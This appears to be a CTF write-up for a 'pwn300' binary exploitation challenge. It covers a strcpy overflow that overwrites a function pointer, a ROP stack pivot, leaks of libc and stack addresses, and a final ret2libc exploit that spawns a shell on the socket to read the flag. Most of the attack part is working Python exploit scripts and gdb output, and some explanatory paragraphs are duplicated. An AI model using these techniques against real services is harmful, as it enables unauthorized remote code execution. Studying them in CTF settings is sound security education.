For pwn300 challenge we were given a 32-bit ELF executable with NX enabled. Analysing the binary we have the following information
First recv() call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v14, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer
Its possible to send 40 bytes in recv() call by using NUL byte after 24th byte, but memset() clears this memory
Second recv() call
[*] recv(fd, &buf, 4, 0) is called, this 4 bytes is assigned to another memory location
Third recv() call, which is similar to first call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v13, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer
Fourth recv() call
[*] We can reach the fourth recv() call if strcmp(&v13, &v14) == 0
[*] After recv(), strcpy(&v14 + 32, &s) is called
[*] There is a function pointer v15 at [ebp-0x44], &v14 + 32 points to ebp-0x50. So strcpy() call overwrites function pointer, giving control of EIP
strcpy() doesn't allow use of NUL bytes. To perform ret-2-libc, I need information leak. But chaining gadgets was difficult as I couldn't pass function parameters due to NUL byte restriction. handle() function had an intersting sequence of instruction to call send()
[*] fd value needs to be 0x4
[*] [ebp+fd] should point to 0x4. We have a pop ebp in the gadget 0x8048f59
[*] pop a value into ebp such that ebp+0x8 points to 0x4
First idea was to leak the GOT entry of __libc_start_main to find the randomized address of libc. With information leak, I found that my local copy of libc matched with the remote libc version. So I can compute offsets with accuracy
With libc address found, my idea was to call system('/bin/sh'). But that wasn't enough, we need dup2(). I decided to pass "sh<&4 >&4" as parameter to system(). But first, we need to locate the address of string in stack. After analysing libc I found that program_invocation_name holds the random stack address. We already computed the address of program_invocation_name. Now lets leak the data in it.
Finding address of string in stack:
Well, information leak again. We are going to read stack using the same set of gadgets to find the string.
Now we have all the address needed to read flag. Below is the final exploit
There are few globals in libc, which holds random address of stack and heap. Some globals that hold stack address are program_invocation_name, program_invocation_short_name and environ. More information in man program_invocation_name. __curbrk keeps track of heap address. It holds the address passed to brk() system call as the heap grows. Reading its value will give the random address of heap
First recv() call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v14, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer
Its possible to send 40 bytes in recv() call by using NUL byte after 24th byte, but memset() clears this memory
Second recv() call
[*] recv(fd, &buf, 4, 0) is called, this 4 bytes is assigned to another memory location
Third recv() call, which is similar to first call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v13, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer
Fourth recv() call
[*] We can reach the fourth recv() call if strcmp(&v13, &v14) == 0
[*] After recv(), strcpy(&v14 + 32, &s) is called
[*] There is a function pointer v15 at [ebp-0x44], &v14 + 32 points to ebp-0x50. So strcpy() call overwrites function pointer, giving control of EIP
#!/usr/bin/env python import socket import struct import time ip = "127.0.0.1" #ip = "42.117.7.116" port = 1337 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) soc.send("A"*24) time.sleep(0.5) soc.send("B"*4) time.sleep(0.5) soc.send("A"*24) time.sleep(0.5) soc.send("A"*24) time.sleep(0.5) soc.send("C"*36)This is how the memory looked like during crash.
gdb-peda$ info registers eax 0x43434343 0x43434343 ecx 0x0 0x0 edx 0x25 0x25 ebx 0xffffd10c 0xffffd10c esp 0xffffd0cc 0xffffd0cc ebp 0xffffd1a8 0xffffd1a8 esi 0x0 0x0 edi 0x0 0x0 eip 0x43434343 0x43434343 eflags 0x10246 [ PF ZF IF RF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63 gdb-peda$ x/50x $esp 0xffffd0cc: 0x08048bdc 0xffffd138 0xffffd168 0x00000028 0xffffd0dc: 0x00000000 0x42424242 0xffffd138 0x01ffd138 0xffffd0ec: 0xffffd144 0x41414141 0x41414141 0x41414141 0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000 0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430 0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242 0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd14c: 0x41414141 0x41414141 0x00000000 0x43434343 0xffffd15c: 0x43434343 0x43434343 0x43434343 0x43434343 0xffffd16c: 0x43434343 0x08048864 0x43434343 0x43434343 0xffffd17c: 0x43434300 0x08048864 0x43434343 0x43434343 0xffffd18c: 0x00000000 0x6e6f4320The user input is spread out in stack. We need to point ESP to user controlled memory, to perform ROP.
0x08048f59: add esp, 0x1C ; pop ebx ; pop esi ; pop edi ; pop ebp ; retI used the above gadget to point ESP to user controlled buffer by overwriting function pointer with 0x8048f59. This is how the memory looked like after shifting the stack
soc.send(struct.pack("<I", 0x08048f59)*9
gdb-peda$ info registers eax 0x8048f59 0x8048f59 ecx 0x0 0x0 edx 0x25 0x25 ebx 0x1ffd138 0x1ffd138 esp 0xffffd0fc 0xffffd0fc ebp 0x41414141 0x41414141 esi 0xffffd144 0xffffd144 edi 0x41414141 0x41414141 eip 0x41414141 0x41414141 eflags 0x10296 [ PF AF SF IF RF ] cs 0x23 0x23 ss 0x2b 0x2b ds 0x2b 0x2b es 0x2b 0x2b fs 0x0 0x0 gs 0x63 0x63 gdb-peda$ x/50wx $esp 0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000 0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430 0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242 0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd14c: 0x41414141 0x41414141 0x00000000 0x08048f59 0xffffd15c: 0x08048f59 0x08048f59 0x08048f59 0x08048f59 0xffffd16c: 0x08048f59 0x08048864 0x08048f59 0x08048f59 0xffffd17c: 0x08048f00 0x08048864 0x08048f59 0x08048f59 0xffffd18c: 0x00000000 0x6e6f4320 0x63696c66 0x000a2074 0xffffd19c: 0xbab92437 0x003f7ff4 0x003f7ff4 0xffffd318 0xffffd1ac: 0x08048d84 0x00000008 0xffffd2fc 0xffffd1d8 0xffffd1bc: 0x001c8594 0x00266c18Information leak to get libc address:
strcpy() doesn't allow use of NUL bytes. To perform ret-2-libc, I need information leak. But chaining gadgets was difficult as I couldn't pass function parameters due to NUL byte restriction. handle() function had an intersting sequence of instruction to call send()
.text:08048A17 mov eax, [ebp+fd] .text:08048A1A mov [esp], eax ; fd .text:08048A1D call _sendNow to take advantage of this, we need to setup a few things
[*] fd value needs to be 0x4
[*] [ebp+fd] should point to 0x4. We have a pop ebp in the gadget 0x8048f59
[*] pop a value into ebp such that ebp+0x8 points to 0x4
gdb-peda$ x/x 0x08048050 0x8048050: 0x00000004We can pop address 0x08048048 into ebp, so that [ebp+8] points to 0x4, which is our socket descriptor. Entire exploitation thrives on information leak using the above described gadgets. Since fork() is called, the address layout doesnt change when new child is spawned
First idea was to leak the GOT entry of __libc_start_main to find the randomized address of libc. With information leak, I found that my local copy of libc matched with the remote libc version. So I can compute offsets with accuracy
#!/usr/bin/env python import socket import struct import time ip = "127.0.0.1" ip = "42.117.7.116" port = 1337 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) got_libc_start_main = 0x0804b018 offset_libc_start_main = 0x193e0 offset_system = 0x3f430 offset_program_invocation_name = 0x1a58a0 soc.send("A"*24) time.sleep(0.5) soc.send("B"*4) time.sleep(0.5) soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I", got_libc_start_main)*3) time.sleep(0.5) soc.send("A"*24) time.sleep(0.5) soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23) soc.recv(1024) time.sleep(0.5) addr = struct.unpack("<I",soc.recv(4))[0] print "__libc_start_main: ", hex(addr) base = addr - offset_libc_start_main print "Base addr: ",hex(base) print "System addr: ",hex(base + offset_system) print "program_invocation_name: ",hex(base + offset_program_invocation_name)
[ctf@renorobert Mario CTF]$ python leak300.py __libc_start_main: 0xf74ba3e0 Base addr: 0xf74a1000 System addr: 0xf74e0430 program_invocation_name: 0xf76468a0Leaking random address of stack:
With libc address found, my idea was to call system('/bin/sh'). But that wasn't enough, we need dup2(). I decided to pass "sh<&4 >&4" as parameter to system(). But first, we need to locate the address of string in stack. After analysing libc I found that program_invocation_name holds the random stack address. We already computed the address of program_invocation_name. Now lets leak the data in it.
#!/usr/bin/env python import socket import struct import time ip = "127.0.0.1" ip = "42.117.7.116" port = 1337 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) soc.send("A"*24) time.sleep(0.5) soc.send("B"*4) time.sleep(0.5) soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xf76468a0)*3) time.sleep(0.5) soc.send("A"*24) time.sleep(0.5) soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23) soc.recv(1024) time.sleep(0.5) print "Stack addr: ", hex(struct.unpack("<I",(soc.recv(256)[:4]))[0])
[ctf@renorobert Mario CTF]$ python leak300_stack.py Stack addr: 0xff94f3ddSo now we have the random stack address. Next we have to find the exact address of user string in stack memory
Finding address of string in stack:
Well, information leak again. We are going to read stack using the same set of gadgets to find the string.
soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xff94f3dd)*3)
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 'pwn2\x00SHELL=/home/pwn2/pwn2\x00TERM=screen\x00USER=pwn2\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:\x00SUDO_USER=vnsec\x00SUDO_UID=1000\x00TERMCAP=SC|screen|VT 100/ANSI X3.64 virtual terminal'By changing address, I read the stack memory and finally found the location of string at 0xff94e0ac
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 'AAAAAAAAAAAAAAAAAAAAAAAA\x00/v\xf7\x189v\xf7\x01\x00\x00\x00\x00\x00\x00\x00d\x88\x04\x08BBBBAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08CCCCCCCCd\x88\x04\x08CCCCCCCCCCC\x00d\x88\x04\x08CCCCCCCCCCC\x00 Conflict \n\x00\x00UI\x9f\xf4_d\xf7\xf4_d\xf7'Final exploit:
Now we have all the address needed to read flag. Below is the final exploit
#!/usr/bin/env python import socket import struct import time ip = "127.0.0.1" ip = "42.117.7.116" port = 1337 soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) soc.connect((ip, port)) comm = " sh<&4 >&4" soc.send(comm) time.sleep(0.5) soc.send("B"*4) time.sleep(0.5) soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0xf74e0430) + struct.pack("<I",0xff94e0ac)*3) time.sleep(0.5) soc.send(comm) time.sleep(0.5) soc.recv(1024) soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23) time.sleep(1) soc.send("cat /home/pwn2/flag\n") print repr(soc.recv(2048))The flag for the challenge is mario_is_the_best_hacker_in_the_world
There are few globals in libc, which holds random address of stack and heap. Some globals that hold stack address are program_invocation_name, program_invocation_short_name and environ. More information in man program_invocation_name. __curbrk keeps track of heap address. It holds the address passed to brk() system call as the heap grows. Reading its value will give the random address of heap